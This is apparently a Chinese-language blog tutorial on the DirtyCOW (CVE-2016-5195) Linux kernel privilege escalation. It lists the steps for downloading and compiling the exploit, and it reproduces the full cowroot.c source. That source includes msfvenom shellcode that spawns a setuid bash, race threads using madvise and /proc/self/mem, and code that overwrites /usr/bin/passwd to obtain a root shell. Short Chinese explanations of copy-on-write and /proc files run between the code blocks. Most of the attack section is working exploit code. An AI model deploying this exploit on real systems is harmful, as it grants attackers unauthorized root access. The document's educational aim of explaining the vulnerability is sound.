Linux kernels 常有一些可以从一般使用者提权到 root 的漏洞,如 DirtyCOW (CVE-2016-5195) 和 CVE-2017-6074。
漏洞原理
新增 SUID 权限的 passwd (binary) 使用 root 权限 提权
Linux 中有 passwd 指令,可以更改使用者的帐号密码,一般的使用者,只能更新自己的密码,透过 SUID 的权限,可以以 root 权限去修改任何的密码。
攻击流程
wget https://www.exploit-db.com/download/40616 -O cowroot.c
vim cowroot.c
gcc cowroot.c -o cowroot -pthread
ls -l cowroot
./cowroot
id
解析poc
注解中提到如何编译该档案,需要使用 gcc 编译,并且透过 -pthread
参数进行 POSIX thread 编译。
POSIX thread 是可以透过程序进行多执行绪,而 <pthread.h>
则是利用 C 语言定义操作执行绪的 API。
如果没有加上 -pthread
则会无法编译,因为该程序有引用 <pthread.h>
。
/*
*
* EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/
宣告所需的函式库,与需要的参数内容。
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
该弱点利用 binary /usr/bin/passwd
进行提权。
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
确认目标是 x86 还是 64 位元组,使用如果使用 64 位元则是透过第一个 sc[] 若使用 x86 则是要取消注解,这个字串阵列的内容,其实可以参考注解。
$ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
$ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
利用 msfvenom 产生後门, 参数介绍如下:
-p
指定平台
CMD
执行指定的 binary
PrependSetuid=True
产生的 shellcode 会有 SUID 的权限
-f
输出档案格式
xxd 用来查看 binary 的指令,其中 -i 代表输出阵列。
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
madvise
将自己主动控制的记忆体行为,告知作业系统的 kernelvoid *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
/proc/self/mem
指向目前执行绪的虚拟记忆体位置的档案,目前的执行绪可以针对这个档案进行读写(直接读写虚拟记忆体),且无视记忆体对应的权限设定write
写入档案lseek
透过指定的偏移量,修改档案的 pointvoid *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s is overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
/usr/bin/passwd
),透过读取记忆体,以复制的方式对应的记忆体中。并且开启两个执行绪,procselfmemThread
该执行绪不停针对该记忆体进行写入,而madviseThread
不停地针对该记忆体进行释放。int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s.. to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
Linux kernal 处理记忆体的功能处理写入记忆体,以复制的方式(copy-on-write,COW) 导致 竞争条件(Race Condition),因此恶意的攻击者可以利用此漏洞,欺骗系统去修改可以读取的记忆体空间并且执行,导致低权限的使用者可以利用此漏洞,读取只有读取的对应虚拟记忆体进行写入。
Race Condition 竞争条件:代表系统的执行结果,仰赖不能控制的事件的先後顺序,如果这些不被控制的事情,没有按造原来所想像的顺序执行,则会产生 bug。
Linux 的虚拟文件系统 Virtual File System,将所有的资源都对应成档案,常见的范例如下:
路径 | 说明 |
---|---|
/proc/net/arp | 内部网路机器的资讯 |
/proc/net/tcp | tcp 资讯 |
/proc/cpuinfo | cpu 资讯 |
/proc/version | 系统版本资讯 |
/proc/pid/cmdline | 开始执行绪的指令 |
/proc/pid/cwd | 目前执行绪工作的资料夹连结 |
/proc/pid/environ | 目前执行绪环境变数的列表 |
/proc/pid/exe | 目前执行绪执行的 process 连结 |
/proc/pid/fd/ | 目前执行绪打开的每个档案的连结 |
/proc/pid/stat | 目前执行绪的状态 |
/proc/pid/statm | 目前执行绪的记忆体使用资讯 |
/proc/self/maps | 目前执行绪虚拟记忆体载入的档案和函式库 |
/proc/self/mem | 指向目前执行绪的虚拟记忆体位置的档案,目前的执行绪可以针对这个档案进行读写,直接读写虚拟记忆体 |
透过 /proc/self/maps 可以知道目前虚拟记忆体区域(virtual memory areas,载入的档案和函式库),工具 gdb 的指令 vmmap 也可以看到。每一个正在执行的 process 都有自己的虚拟 address,也会对应到物理的记忆体中。
ref:https://xuanxuanblingbling.github.io/ctf/pwn/2019/11/18/race/
>>: Vaadin Pro Components - CRUD - day29
我们昨天提过 CNN 的结构就是两层 卷积层 + 池化层 的结构,并在後面接一个简单的 NN 那就...
Hola,我是Charlie! 在Day08当中,我们完成了後端的JWT机制还有修改个人资料,在今天...
本文章同时发布於: Github(包含程序码) 文章为自己的经验与夥伴整理的内容,设计没有标准答案,...
1.元件注册方法有三,注册後才能使用 (1)全域注册 方法1. <alert></...
PHP Regular expression 本来 PHP 支援两类 regular express...